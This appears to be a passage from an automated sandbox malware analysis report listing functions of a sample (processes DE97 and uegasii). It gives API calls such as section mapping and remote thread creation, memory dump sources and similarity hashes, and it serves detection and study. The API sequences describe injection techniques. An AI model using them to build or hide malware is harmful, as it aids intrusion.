Opcode Fuzzy Hash: d0133b7f997d866bd9f22ed6d19c972adefd9311a1b1e22c4a59d1e070b776c3
Instruction Fuzzy Hash: 795128B4900249BBEF208F91CC48FAFBBB8EF85B00F140169F911BA2A5D7759941CB64

Function 00401641 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a951ce0e9a9537201a4ab380c462e1ce4e6ed323a6f782408602592e2a1882ae
Instruction ID: 9e1831f0ceb5ee828940fa86c31e9463c4dc41faf1b0eb7057c6f8c584aa9f8c
Opcode Fuzzy Hash: a951ce0e9a9537201a4ab380c462e1ce4e6ed323a6f782408602592e2a1882ae
Instruction Fuzzy Hash: 2A5109B5900249BFEF208F91CC48FEFBBB8EF86B00F104159F911AA2A5D7719945CB64

Function 00403103 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040322B
NtTerminateProcess.NTDLL ref: 0040323C

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction ID: dae095e867f3745097cc185a7748a697303a2d44691d7cc8a0ebaf8866640ae2
Opcode Fuzzy Hash: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction Fuzzy Hash: BB415832618E0C8FD768EE6CA8896A377D6E798351B1643BAD808D7384EE30D85183C5

Function 00403257 Relevance: 3.1, APIs: 2, Instructions: 83
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040322B
NtTerminateProcess.NTDLL ref: 0040323C

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8f75c49c67d658a2c62e27a3415f0efa1266b4aad096af7960056c4103048e13
Instruction ID: ab58b7d6b66510dde6bc1fc7e766791280fd84229bd7d6ef16cc780df24ac814
Opcode Fuzzy Hash: 8f75c49c67d658a2c62e27a3415f0efa1266b4aad096af7960056c4103048e13
Instruction Fuzzy Hash: FC1156B181C6448FE714DF78A44A23A7FE4E754326F2407BFD446E12D1D63C8246824B

Function 0053003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0053024D

Strings

cess, xrefs: 0053018D
kernel32.dll, xrefs: 0053008F, 00530095

Memory Dump Source

Source File: 00000009.00000002.2777432655.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_530000_DE97.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: dbbae28743631155f3db6bb32cb2d02d0cd49f0ed6f47c960f984cfc88bdb838
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 7C526874A01229DFDB64CF58C995BA8BBB1BF09304F1480D9E90DAB391DB30AE95DF14

Function 00415CF4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 67
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(00417374), ref: 00415D22
InterlockedDecrement.KERNEL32(?), ref: 00415D74

Strings

k`, xrefs: 00415D57
}$, xrefs: 00415D7B
@3#v, xrefs: 00415D83

Memory Dump Source

Source File: 00000009.00000002.2777292131.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_40b000_DE97.jbxd

Similarity

API ID: DecrementInterlockedLibraryLoad
String ID: @3#v$k`$}$
API String ID: 1728580480-3392953598
Opcode ID: 1220cc1870a5b44b748834b9607dd4274ce9cfefc33c15e109127477b7c52050
Instruction ID: e5749c029843646b42c966e7ad9aac78be9f25e1622ba3818e79b170e44d005a
Opcode Fuzzy Hash: 1220cc1870a5b44b748834b9607dd4274ce9cfefc33c15e109127477b7c52050
Instruction Fuzzy Hash: B7210830940A50CFC7249B24BD497EA7760EBC8321FA2847BD9499B291C67898C0CB8D

Function 00415680 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(004F23E0), ref: 0041575F
GetProcAddress.KERNEL32(00000000,00419DC8), ref: 0041579C
VirtualProtect.KERNELBASE(004F2224,004F23DC,00000040,?), ref: 004157BB

Strings

, xrefs: 004156C5

Memory Dump Source

Source File: 00000009.00000002.2777292131.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_40b000_DE97.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-3916222277
Opcode ID: 2d56005a38fc95e630bca09700ccda0a937271889cc88ec342df8eead2b79204
Instruction ID: 9cbdbad7550f6ba77ebf9f75069ac8a0e3d788a9a6da5ffb341793c156349206
Opcode Fuzzy Hash: 2d56005a38fc95e630bca09700ccda0a937271889cc88ec342df8eead2b79204
Instruction Fuzzy Hash: AD311960518780CAE305CB78FE647A23AA2EB69704F04807DD5488B3F1D7FE5928C72E

Function 006D61B2 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 006D61DA
Module32First.KERNEL32(00000000,00000224), ref: 006D61FA

Memory Dump Source

Source File: 00000009.00000002.2777599585.00000000006D3000.00000040.00000020.00020000.00000000.sdmp, Offset: 006D3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d3000_DE97.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 9ddca0fde8d1d96f1e360ec9eb91450bae318ceeca68f9febacf903917ac4f29
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 94F062369007106BD7203AF9DC8DBAEB6EEAF49765F10062AF642916C1DA70E8458A61

Function 00530E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00530223,?,?), ref: 00530E19
SetErrorMode.KERNELBASE(00000000,?,?,00530223,?,?), ref: 00530E1E

Memory Dump Source

Source File: 00000009.00000002.2777432655.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_530000_DE97.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 744b544679e81edac46ace1a1040a10e47f9b2819e4d35e23ba8ce53e105023a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: BDD0123124522877D7003A94DC09BCD7F1CDF05B62F008411FB0DD9080C770994046E5

Function 004019C0 Relevance: 1.3, APIs: 1, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4123eb2909a1ca54cf4c12ed559c674bae09e9b4b475d8bbd2d0155f979259f4
Instruction ID: 8602aea7765920f14b43c6808a0d2033de268e003b0f0e4b19403496b7ccbc2b
Opcode Fuzzy Hash: 4123eb2909a1ca54cf4c12ed559c674bae09e9b4b475d8bbd2d0155f979259f4
Instruction Fuzzy Hash: 2B11CE3230A205EADB005AD9A941FBB32199B40754F3041B7B603B90F1953D8913BF2F

Function 004019E0 Relevance: 1.3, APIs: 1, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e17e85e8ed8125533f7e2167abb1cbc7a5f98fbf5ea5e47149eeb4735b4555ca
Instruction ID: 6e8e83dbc6cb5325300a6df4c81bf03677ed1736eef4dabc06710691df282c78
Opcode Fuzzy Hash: e17e85e8ed8125533f7e2167abb1cbc7a5f98fbf5ea5e47149eeb4735b4555ca
Instruction Fuzzy Hash: FA016D3230A209EADB005AD8AD41E7B3229AB40754F3001B7BA03790F1953D99137F2F

Function 004019EB Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d20dd15212e55eeb93c2ba4d893d672a11c9591f500a1070bb8e30cefc0e7994
Instruction ID: 2b2adc88e5ab551374836522510027b0c35959e32ac3f93f20a40eb2707c2e9b
Opcode Fuzzy Hash: d20dd15212e55eeb93c2ba4d893d672a11c9591f500a1070bb8e30cefc0e7994
Instruction Fuzzy Hash: C2014C3230A205EBDB009AD4ED41B6A3269AB44714F3041B7BA13B91F1D53D9A537F2B

Function 00401A04 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6956420fd1a0da5a043187b5517324543cb26d58a43067072202fc2494389932
Instruction ID: 8da435b4ef065fa937355dde1d01ef47451206c1f83fca999a74837282515cb4
Opcode Fuzzy Hash: 6956420fd1a0da5a043187b5517324543cb26d58a43067072202fc2494389932
Instruction Fuzzy Hash: 8B01363630A209EADB005AD8AD41EBA22559B44314F3042B7BA13B91F5D53D8A137F2F

Function 004019FD Relevance: 1.3, APIs: 1, Instructions: 49sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 470eaab1d85efef32b59b6b80de91dfe5f43d1552a0586931a32e3bd1b407b26
Instruction ID: da9cf87a9ed9cba2a5618582a19ce6b128e8deecbf4ee8231104359b1f28a93a
Opcode Fuzzy Hash: 470eaab1d85efef32b59b6b80de91dfe5f43d1552a0586931a32e3bd1b407b26
Instruction Fuzzy Hash: 4601863230A209EADB005AD49D41FBA22199B44714F3041B7BA13B90F1D53D8A137F2F

Function 006D5E71 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 006D5EC2

Memory Dump Source

Source File: 00000009.00000002.2777599585.00000000006D3000.00000040.00000020.00020000.00000000.sdmp, Offset: 006D3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d3000_DE97.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 05c5e91d8412e6c7d1a4d8fe3317cfa88623f8f20db7cb2976af24fc56b5133b
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 46113C79A00208FFDB01DF98C985E99BBF5AF08350F058095FA489B362D771EA50DF80

Function 00401A15 Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 47584117f720a46a046c478722b1e9804fa2bdf0c34a1eb8c3916f7c7194f890
Instruction ID: ef4a3633df93866afb86b86826f27a476d683f03040323dac8a7d7c578d0eba4
Opcode Fuzzy Hash: 47584117f720a46a046c478722b1e9804fa2bdf0c34a1eb8c3916f7c7194f890
Instruction Fuzzy Hash: 17F04432309206EBDB01AAD4DD41FAA3229AB44354F3041B7BA13B90F1D53C86127F2B

Function 00401A20 Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e9f1e890604c892da627bf4dac1adaaf6327a8231f252b78f611ae96bce34966
Instruction ID: 08c596e776171f083f15ab2e9130eea247f108212a51f0ba4fb69116c36cf548
Opcode Fuzzy Hash: e9f1e890604c892da627bf4dac1adaaf6327a8231f252b78f611ae96bce34966
Instruction Fuzzy Hash: 4BF0FF3230A209EADB005AD59D51EAA26699B44354F3041B7BA13B90F1D53D8A137F2B

Function 00415650 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,004F23DC,00415CD5), ref: 00415658

Memory Dump Source

Source File: 00000009.00000002.2777292131.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_40b000_DE97.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 137ac3f92e9acb2c5fa584936085e74bc0c1da4fc1e5443efff9116a182976be
Instruction ID: 5e48a04f9e11dcc7131419058854abdc843f7e17987eb29baea089ef08641d0b
Opcode Fuzzy Hash: 137ac3f92e9acb2c5fa584936085e74bc0c1da4fc1e5443efff9116a182976be
Instruction Fuzzy Hash: 79B092B05421009FE200CB60AE04B203AA8E308202F018461B904C21A0D6B14410CA28

Non-executed Functions

Function 00401E65 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39ba6718c5b4acb6fcb90013f1bab96879de86035533205ab17ba445abaee414
Instruction ID: 6725721ff3489d431dd836171e340eb16c8ebd58ca09b28f7b875ac3b9798d56
Opcode Fuzzy Hash: 39ba6718c5b4acb6fcb90013f1bab96879de86035533205ab17ba445abaee414
Instruction Fuzzy Hash: 43F0273A30669697DB135E7CD0009CCFF10FD6B6207B88BD2D0C09A141C222845BCB90

Function 00415850 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

BuildCommDCBW.KERNEL32(00000000,?), ref: 0041587D
SetCalendarInfoW.KERNEL32(00000000,00000000,00000000,00000000), ref: 004158C1
GetShortPathNameW.KERNEL32(00000000,?,00000000), ref: 004158D2

Strings

-, xrefs: 004158DF

Memory Dump Source

Source File: 00000009.00000002.2777292131.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_40b000_DE97.jbxd

Similarity

API ID: BuildCalendarCommInfoNamePathShort
String ID: -
API String ID: 1570861727-2547889144
Opcode ID: bc17eb0377387f5bad20137c454eddc6c6d7c052231a44a3ecaa76dbaeee760d
Instruction ID: 75a0542c090a1048562518fe0c410909b3098a1f030c9eacbf9327c34c692846
Opcode Fuzzy Hash: bc17eb0377387f5bad20137c454eddc6c6d7c052231a44a3ecaa76dbaeee760d
Instruction Fuzzy Hash: 3A11C630940204DAD760EF64DC81BED7BF4FB48310F5181B9E588AA1C0CE745AD98B99

Function 00415910 Relevance: 6.0, APIs: 4, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

QueryDosDeviceA.KERNEL32(00000000,?,00000000), ref: 00415944
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041595F
HeapDestroy.KERNEL32(00000000), ref: 0041597E
GetNumaHighestNodeNumber.KERNEL32(00000000), ref: 00415986

Memory Dump Source

Source File: 00000009.00000002.2777292131.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_40b000_DE97.jbxd

Similarity

API ID: DestroyDeviceEnvironmentFreeHeapHighestNodeNumaNumberQueryStrings
String ID:
API String ID: 367530164-0
Opcode ID: 97ff363394a7b784a3dec45dcbe4e62a596ef6cbb787102fc82400f029e94037
Instruction ID: c5ece5b07aa489753bf58a5f8e8b67b970329aa906d251dcea3a70d9a670a326
Opcode Fuzzy Hash: 97ff363394a7b784a3dec45dcbe4e62a596ef6cbb787102fc82400f029e94037
Instruction Fuzzy Hash: BE01DBB0650108DFD710EB64ED457EA37A8E70C316F414436F609D7291DAB45D94CF5E

Analysis Process: uegasiiPID: 6104, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	16.5%
Signature Coverage:	0%
Total number of Nodes:	176
Total number of Limit Nodes:	8

Executed Functions

Function 004159A0 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 309
timefilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00415ABA
ReadConsoleA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00415AC7
FindAtomA.KERNEL32(00000000), ref: 00415ACE
GetConsoleMode.KERNEL32(00000000,00000000), ref: 00415AD6
SearchPathA.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00415AEE
GetDefaultCommConfigA.KERNEL32(00000000,?,00000000), ref: 00415B15
CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 00415B1E
ConnectNamedPipe.KERNEL32(?,00000000), ref: 00415B32
ReadConsoleOutputW.KERNEL32(00000000,?,?,?,?), ref: 00415B77
GetModuleFileNameW.KERNEL32(00000000,?,00000000), ref: 00415B86
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 00415B8F
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00415BA1
SetCommState.KERNELBASE(00000000,00000000), ref: 00415BC8
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 00415BF9
GetComputerNameW.KERNEL32(?,?), ref: 00415C0D
GetTimeFormatA.KERNEL32(00000000,00000000,?,00417314,?,00000000), ref: 00415C4D
GetFileAttributesA.KERNEL32(00000000), ref: 00415C54
GetConsoleAliasExesLengthW.KERNEL32 ref: 00415C5A
GetBinaryTypeW.KERNEL32(00417334,?), ref: 00415C6C
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00415C7F
GetLongPathNameA.KERNEL32(00417364,?,00000000), ref: 00415C92
GetCommState.KERNEL32(00000000,00000000), ref: 00415C9A

Strings

@3#v, xrefs: 00415D83
P4#vp^5w, xrefs: 004159B8
}$, xrefs: 00415D7B
k`, xrefs: 00415D57

Memory Dump Source

Source File: 0000000A.00000002.3040451216.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_40b000_uegasii.jbxd

Similarity

API ID: Console$CommFileName$FormatLengthPathReadStateTime$AdjustmentAliasAliasesAtomAttributesBinaryCompareComputerConfigConnectCopyDefaultExchangeExesFindInterlockedLongMessageModeModuleNamedOutputPipeReleaseSearchSemaphoreSystemType
String ID: @3#v$P4#vp^5w$k`$}$
API String ID: 3800548968-402751238
Opcode ID: 5e6c1ea0dd6b9c12ce414f54bdebe71c2c6476f5e84dd2541a6dae526580182b
Instruction ID: b74f69d15b1c00e371bae04283b2e7407a3b84b28a54ffdc86722d59f2fd5859
Opcode Fuzzy Hash: 5e6c1ea0dd6b9c12ce414f54bdebe71c2c6476f5e84dd2541a6dae526580182b
Instruction Fuzzy Hash: 6CB11671841528EBD725DB61DC48EEF7B78EF49350F0180AAF609A2150DB789AC1CFAD

Function 004014FB Relevance: 10.8, APIs: 7, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 934dc258b1fd10f4e66b4cbfde8a53cb0d8b0c8237b07dea73acb5d59905d160
Instruction ID: 8456862ab07ee4fd5df19115d19177d22808884b2e91bbb4bd05fd593ecc01b1
Opcode Fuzzy Hash: 934dc258b1fd10f4e66b4cbfde8a53cb0d8b0c8237b07dea73acb5d59905d160
Instruction Fuzzy Hash: CFA1E3B1604215BFDF218F95CC45FAB7BB8EF82710F14006BE942BB1E1D6399902DB5A

Function 004015FB Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8aaa4946e75727fc09ad2f405e2a017ad71aadc6c477ed290025760324e3469e
Instruction ID: eff60cd738278fe88036fd12be8a847ac689736a027776baabbfcbb81c570d02
Opcode Fuzzy Hash: 8aaa4946e75727fc09ad2f405e2a017ad71aadc6c477ed290025760324e3469e
Instruction Fuzzy Hash: 20512DB4900205BBEF208F91CC48FAFBBB8EF85B00F14416AF911BA2E5D7759945CB64

Function 00401613 Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ad766b3969fddc35dc3ff1f72950dd3bc16db4ac8334f03efc3fd571d50c1c7d
Instruction ID: 5fe8c3412efddb1af6587580d34f391b5aa6f3f620f4969ff4058e4fba2aebcc
